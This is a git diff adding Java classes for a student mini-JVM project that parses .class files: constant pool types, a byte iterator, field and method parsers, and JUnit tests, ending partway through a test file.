diff --git a/group17/1282579502/src/com/coderising/jvm/constant/FieldRefInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100755
index 0000000000..65475e194c
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/FloatRefInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/FloatRefInfo.java
new file mode 100644
index 0000000000..356216a166
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/constant/FloatRefInfo.java
@@ -0,0 +1,15 @@
+package com.coderising.jvm.constant;
+
+public class FloatRefInfo extends ClassInfo{
+
+	public FloatRefInfo(ConstantPool pool) {
+		super(pool);
+		// TODO Auto-generated constructor stub
+	}
+	
+	public int getType(){
+		return ConstantInfo.FLOAT_INFO;
+	}
+	
+
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/IntegerInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/IntegerInfo.java
new file mode 100644
index 0000000000..1980de8f2f
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/constant/IntegerInfo.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.constant;
+
+public class IntegerInfo extends ConstantInfo{
+
+	int val = 0;
+	public IntegerInfo(ConstantPool pool) {
+		super(pool);
+		// TODO Auto-generated constructor stub
+	}
+	
+	public int getType(){
+		return ConstantInfo.INTEGER_INFO;
+	}
+	
+	public void setInteger(int val){
+		this.val = val;
+	}
+	
+	public int getInteger(){
+		return val;
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/InvalidConstantInfoTypeException.java b/group17/1282579502/src/com/coderising/jvm/constant/InvalidConstantInfoTypeException.java
new file mode 100644
index 0000000000..ac33ac7f9c
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/constant/InvalidConstantInfoTypeException.java
@@ -0,0 +1,11 @@
+package com.coderising.jvm.constant;
+
+public class InvalidConstantInfoTypeException extends Exception{
+
+	public InvalidConstantInfoTypeException(){
+		super();
+	} 
+	public InvalidConstantInfoTypeException(String message){
+		super(message);
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/MethodRefInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100755
index 0000000000..7f05870020
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100755
index 0000000000..402f9dec86
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/NullConstantInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100755
index 0000000000..936736016f
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/StringInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100755
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/UTF8Info.java b/group17/1282579502/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100755
index 0000000000..5cac9f04f7
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/field/Field.java b/group17/1282579502/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..e9070fbc76
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,50 @@
+package com.coderising.jvm.field;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.InvalidAttributeInfoException;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter) throws InvalidAttributeInfoException{
+		int accessFlag = iter.getNextNBytesInteger(2);
+		int nameIndex = iter.getNextNBytesInteger(2);
+		int descriptorIndex = iter.getNextNBytesInteger(2);
+		int attributeCount = iter.getNextNBytesInteger(2);
+		List<AttributeInfo> attributeList = new ArrayList<>();
+		for(int i = 0; i<attributeCount; i++){
+			
+		}
+		if(attributeCount>0){
+			throw new InvalidAttributeInfoException("Attribute infomation is NOT valid.");
+		}
+		Field newField = new Field(accessFlag, nameIndex, descriptorIndex,pool);
+		return newField;
+	}
+	
+	public String toString(){
+		return pool.getUTF8String(nameIndex) + ":" +pool.getUTF8String( descriptorIndex);
+	}
+
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/interfaze/Interfaze.java b/group17/1282579502/src/com/coderising/jvm/interfaze/Interfaze.java
new file mode 100644
index 0000000000..7d1f90c030
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/interfaze/Interfaze.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.interfaze;
+
+public class Interfaze {
+
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/interfaze/InvalidInterfaceException.java b/group17/1282579502/src/com/coderising/jvm/interfaze/InvalidInterfaceException.java
new file mode 100644
index 0000000000..b5eed64afc
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/interfaze/InvalidInterfaceException.java
@@ -0,0 +1,7 @@
+package com.coderising.jvm.interfaze;
+
+public class InvalidInterfaceException extends Exception{
+	public InvalidInterfaceException(String message){
+		super(message);
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group17/1282579502/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100755
index 0000000000..b34c2c6736
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,84 @@
+package com.coderising.jvm.loader;
+
+import com.coderising.jvm.util.Util;
+
+public class ByteCodeIterator {
+	
+	byte[] source = null;
+	int currentPos = 0;
+	
+	public ByteCodeIterator(byte[] source){
+		this.source = source;
+	}
+	
+	public byte getNextByte(){
+		if(currentPos > source.length -1){
+			throw new IndexOutOfBoundsException();
+		}
+		return getByteAt(currentPos++);
+	}
+	
+	public byte[] getNextNBytes(int n){
+		byte[] retArray = new byte[n];
+		for(int i = 0; i<n; i++){
+			retArray[i] = getNextByte();
+		}
+		return retArray;
+	}
+	
+	public byte getByteAt(int n){
+		if(n>source.length-1){
+			throw new IndexOutOfBoundsException();
+		}
+		return source[n];
+	}
+
+	
+	public String getNextHexString(){
+		byte b1 = getNextByte();
+		int i1 = b1 & 0xFF;
+		String strVal = Integer.toHexString(i1);
+		if(strVal.length() < 2){
+			strVal = "0".concat(strVal);
+		}
+		return strVal;
+	}
+	
+	public String getNextNHexString(int n){
+		StringBuilder sb = new StringBuilder();
+		while(n-->0){
+			sb.append(getNextHexString());
+		}
+		
+		return sb.toString();
+	}
+	
+	public String peekNextNHex(int n){
+		String val =  getNextNHexString(n);
+		backOffNBytes(n);
+		return val;
+	}
+	
+	public void backOffNBytes(int n){
+		if(n < currentPos){
+		currentPos -=n;
+		}
+		else{
+			System.err.println("Don't have enough bytes.");
+		}
+	}
+	
+	public int getNextNBytesInteger(int n){
+		byte[] barray = getNextNBytes(n);
+		return Util.byteToInt(barray);
+	}
+	
+	
+	public static void printByteInNumber(byte b){
+		int tmp = b;
+		System.out.println(Integer.toBinaryString(tmp));
+		int tmp1 = tmp & 0xFF;
+		System.out.println(Integer.toBinaryString(tmp1));
+		System.out.println(Integer.toHexString(tmp1));
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/loader/ClassFileLoader.java b/group17/1282579502/src/com/coderising/jvm/loader/ClassFileLoader.java
index 6d669e294f..ec9ea83caf 100644
--- a/group17/1282579502/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group17/1282579502/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -9,18 +9,24 @@
 import java.util.Collection;
 import java.util.List;
 
+import com.coderising.jvm.clz.ClassFile;
+
 
 
 public class ClassFileLoader {
 
 	private List<String> clzPaths = new ArrayList<String>();
 	
+	public ClassFileLoader(){
+		
+	}
+	
 	public byte[] readBinaryCode(String className) {
 		String classPath = convertToFilePath(className);
 		File targetFile = null;
 		for(int i = 0; i< clzPaths.size(); i++){
 			String fullPath = clzPaths.get(i)+File.separator+classPath;
-			System.out.println("path: " + fullPath); 
+			//System.out.println("path: " + fullPath); 
 			File temp = new File(fullPath);
 			if(temp.exists()) {
 				targetFile = temp;
@@ -29,10 +35,10 @@ public byte[] readBinaryCode(String className) {
 		}
 		
 		if(targetFile != null){
-			System.out.println("targetFile: " + targetFile.getAbsolutePath());
+			//System.out.println("targetFile: " + targetFile.getAbsolutePath());
 		}
 		long fileLength = targetFile.length();
-		System.out.println("File length: " + fileLength); 
+		//System.out.println("File length: " + fileLength); 
 		byte[] byteArray = new byte[(int)fileLength];
 		FileInputStream is = null;
 		try {
@@ -61,6 +67,14 @@ public byte[] readBinaryCode(String className) {
 		
 	}
 	
+	public ClassFile loadClass(String className){
+		byte[] ba = readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(ba);
+	}
+	
+	
+	
 	private String convertToFilePath(String className){
 		return className.replaceAll("\\.", File.separator) + ".class";
 	}
diff --git a/group17/1282579502/src/com/coderising/jvm/loader/ClassFileParser.java b/group17/1282579502/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100755
index 0000000000..c168129abc
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,165 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+import java.util.ArrayList;
+import java.util.LinkedList;
+import java.util.List;
+
+import com.coderising.jvm.attr.InvalidAttributeInfoException;
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantInfoFactory;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.InvalidConstantInfoTypeException;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.interfaze.Interfaze;
+import com.coderising.jvm.interfaze.InvalidInterfaceException;
+import com.coderising.jvm.method.InvalidMethodInfoException;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileParser {
+	ClassFile clz = null;
+	public ClassFile parse(byte[] codes) {
+		clz = new ClassFile();
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+		String magicHex = iter.getNextNHexString(4);
+		System.out.println("Magic Number: "+magicHex);
+		try{
+			String minorHex = iter.getNextHexString() + iter.getNextHexString();
+			int minorVersionInt = Integer.parseInt(minorHex, 16);
+			String majorHex = iter.getNextHexString() + iter.getNextHexString();
+			int majorVersionInt = Integer.parseInt(majorHex, 16);
+			clz.setMajorVersion(majorVersionInt);clz.setMinorVersion(minorVersionInt);
+			System.out.println("Major version: " + majorVersionInt + " minor version: " + minorVersionInt);
+			clz.setConstPool(parseConstantPool(iter));
+			fillClassInfo(clz, clz.getConstantPool());
+			System.out.println(iter.peekNextNHex(8));
+			parseAccessFlag(iter);
+			parseClassInfex(iter);parseClassInfex(iter);
+			parseInterface(iter);
+			parseFields(iter);
+			parseMethods(iter);
+		}
+		catch(Exception e){
+			e.printStackTrace();
+		}
+		return clz;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		ConstantPool cp = clz.getConstantPool();
+		int visitFlagIndex = iter.getNextNBytesInteger(2);
+		System.out.println("visit flag index: " + visitFlagIndex + " variable value: " + cp.getUTF8String(visitFlagIndex));
+		return null;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+		int classInfIndex = iter.getNextNBytesInteger(2);
+		System.out.println("class info: " + classInfIndex);
+		return null;
+
+	}
+	
+	private List<Interfaze> parseInterface(ByteCodeIterator iter) throws InvalidInterfaceException{
+		int interfaceCount = iter.getNextNBytesInteger(2);
+		if(interfaceCount>0){
+			throw new InvalidInterfaceException("Unimplemented interface parser: " + interfaceCount);
+		}
+		return null;
+	}
+	
+	private void parseFields(ByteCodeIterator iter){
+		int fieldsCount = iter.getNextNBytesInteger(2);
+		System.out.println("Fields count: " + fieldsCount);
+		List<Field> fields = new LinkedList<>();
+		for(int i = 0; i<fieldsCount; i++){
+			Field f = null;
+			try {
+				f = Field.parse(clz.getConstantPool(), iter);
+			} catch (InvalidAttributeInfoException e) {
+				// TODO Auto-generated catch block
+				e.printStackTrace();
+			}
+			fields.add(f);
+		}
+		clz.setFields(fields);
+	}
+	
+	private void parseMethods(ByteCodeIterator iter){
+		int methodCount = iter.getNextNBytesInteger(2);
+		System.out.println("Methods count: " + methodCount);
+		List<Method> methods = new ArrayList<>();
+		for(int i = 0; i<methodCount; i++){
+			Method m = null;
+			try{
+				m = Method.parse(clz, iter);
+				System.out.println("dumpping method: " + m);
+				methods.add(m);
+				
+			} catch(InvalidMethodInfoException e){
+				e.printStackTrace();
+			}
+		}
+		for(int i = 0; i<methods.size(); i++){
+			System.out.println("class method dump: " + methods.get(i) );
+		}
+		clz.setMethods(methods);
+	}
+	
+	private void fillClassInfo(ClassFile clz, ConstantPool pool){
+		ClassIndex newClassIndex = new ClassIndex();
+		clz.setClassIndex(newClassIndex);
+		for(int i = 0; i< pool.getSize(); i++){
+			if(pool.getConstantInfo(i) instanceof ClassInfo){
+				if(clz.getClzIndex().getThisClassIndex() == 0){
+					System.out.println("class");
+					clz.getClzIndex().setThisClassIndex(i);
+				}
+				else if(clz.getClzIndex().getSuperClassIndex() == 0){
+					clz.getClzIndex().setSuperClassIndex(i);
+				}
+				else{
+					break;
+				}
+			}
+		}
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		String constantPoolSizeHex = iter.getNextHexString() + iter.getNextHexString();
+		//System.out.println("hex string: " + constantPoolSizeHex + " integer value: " + Integer.parseInt(constantPoolSizeHex, 16));
+		int constantCount = Integer.parseInt(constantPoolSizeHex, 16);
+		ConstantPool constantPool = new ConstantPool();
+		constantPool.addConstantInfo(new NullConstantInfo());
+		ConstantInfoFactory constantInfoFactory = new ConstantInfoFactory(iter, constantPool);
+		while(constantCount-- > 1){
+			try {
+				constantInfoFactory.fillNextConstantInfo();
+			} catch ( Exception e) {
+				// TODO Auto-generated catch block
+				e.printStackTrace();
+				break;
+			}
+			
+		}
+		
+//		for(int i = 0; i<constantPool.getSize(); i++){
+//			System.out.println("constant pool variable: " + i );
+//			ConstantInfo c = constantPool.getConstantInfo(i);
+//			System.out.println(c.getClass().getName());
+//		}
+		return constantPool;
+	}
+
+	
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/method/InvalidMethodInfoException.java b/group17/1282579502/src/com/coderising/jvm/method/InvalidMethodInfoException.java
new file mode 100644
index 0000000000..f835f725db
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/method/InvalidMethodInfoException.java
@@ -0,0 +1,7 @@
+package com.coderising.jvm.method;
+
+public class InvalidMethodInfoException extends Exception{
+	public InvalidMethodInfoException(String message){
+		super(message);
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/method/Method.java b/group17/1282579502/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..a7631f5228
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,87 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.attr.InvalidAttributeInfoException;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter) throws InvalidMethodInfoException{
+		
+		int accessFlagIndex = iter.getNextNBytesInteger(2);
+		int nameIndex = iter.getNextNBytesInteger(2);
+		int descriptorIndex = iter.getNextNBytesInteger(2);
+		int attributeCount = iter.getNextNBytesInteger(2);
+		System.out.println("access flag index: " + accessFlagIndex ); 
+		System.out.println("name Index: " + nameIndex + " name value: " + clzFile.getConstantPool().getUTF8String(nameIndex)); 
+		System.out.println("descriptor Index: " + descriptorIndex + " descriptor value: " + clzFile.getConstantPool().getUTF8String(descriptorIndex)); 
+		System.out.println("attributeCount: " + attributeCount ); 
+		Method m = new Method(clzFile, accessFlagIndex, nameIndex, descriptorIndex);
+		try{
+			AttributeInfo attr = AttributeInfo.parse(clzFile, iter);
+			if(attr instanceof CodeAttr){
+				System.out.println("set code attribute.");
+				m.setCodeAttr((CodeAttr)attr);
+			}
+			else{
+				throw new InvalidAttributeInfoException("unsupported attribute type. Current only CodeAttr supported");
+			}
+		}catch(Exception e){
+			e.printStackTrace();
+		}
+		
+		return m;
+		
+	}
+
+	@Override
+	public String toString() {
+		return "Method [accessFlag=" + accessFlag + ", nameIndex=" + nameIndex
+				+ " name val: " + clzFile.getConstantPool().getUTF8String(nameIndex) +", descriptorIndex=" + descriptorIndex +" desc val: " + clzFile.getConstantPool().getUTF8String(descriptorIndex) + "]";
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/test/ByteCodeIteratorTest.java b/group17/1282579502/src/com/coderising/jvm/test/ByteCodeIteratorTest.java
new file mode 100644
index 0000000000..05b44823f9
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/test/ByteCodeIteratorTest.java
@@ -0,0 +1,51 @@
+package com.coderising.jvm.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class ByteCodeIteratorTest {
+
+	ByteCodeIterator iter = null;
+	@Before
+	public void setUp() throws Exception {
+		byte[] source = new byte[]{127,2, 16, 10,11};
+		iter = new ByteCodeIterator(source);
+		
+		
+	}
+	
+	@Test
+	public void testPrintByteNumber(){
+		byte b = 21;
+		int c = 52;
+		ByteCodeIterator.printByteInNumber(b);
+		ByteCodeIterator.printByteInNumber((byte)c);
+		
+	}
+	
+	@Test
+	public void testGetNextByte() {
+		assertEquals("7f", iter.getNextHexString());
+		assertEquals("2", iter.getNextHexString());
+		assertEquals("10", iter.getNextHexString());
+	}
+
+	@Test
+	public void testGetNextNBytes() {
+		byte[] expected = new byte[]{127,2};
+		assertArrayEquals(expected, iter.getNextNBytes(2));
+		expected = new byte[]{16, 10,11};
+		assertArrayEquals(expected, iter.getNextNBytes(3));
+	}
+
+	@Test
+	public void testGetByteAt() {
+		byte exp = 10;
+		assertEquals(exp, iter.getByteAt(3));
+	}
+
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest.java
old mode 100644
new mode 100755
index 4df3f4b529..85616f0735
--- a/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group17/1282579502/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,103 +1,282 @@
-package com.coderising.jvm.test;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.loader.ClassFileLoader;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path2 = "C:\temp";
-	static String path3 = "/Users/erlisuo/Documents/workspace/codeRising2017working/1282579502/bin";
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		loader.addClassPath(path3);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path3);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    @Test
-    public void testToHexString(){
-    	byte b1 = 'a';
-    	byte b2 = 'b';
-    	System.out.println("Binary: " + Integer.toBinaryString(b1) + " decimal: " + Integer.toString(b1) + " hex: " + Integer.toHexString(b1));
-    	System.out.println("Binary: " + Integer.toBinaryString(b2) + " decimal: " + Integer.toString(b2) + " hex: " + Integer.toHexString(b2));
-
-    	byte[] bArray = new byte[]{b1, b2};
-    	System.out.println(byteToHexString(bArray));
-    }
-    
-    
-    
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
-}
\ No newline at end of file
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
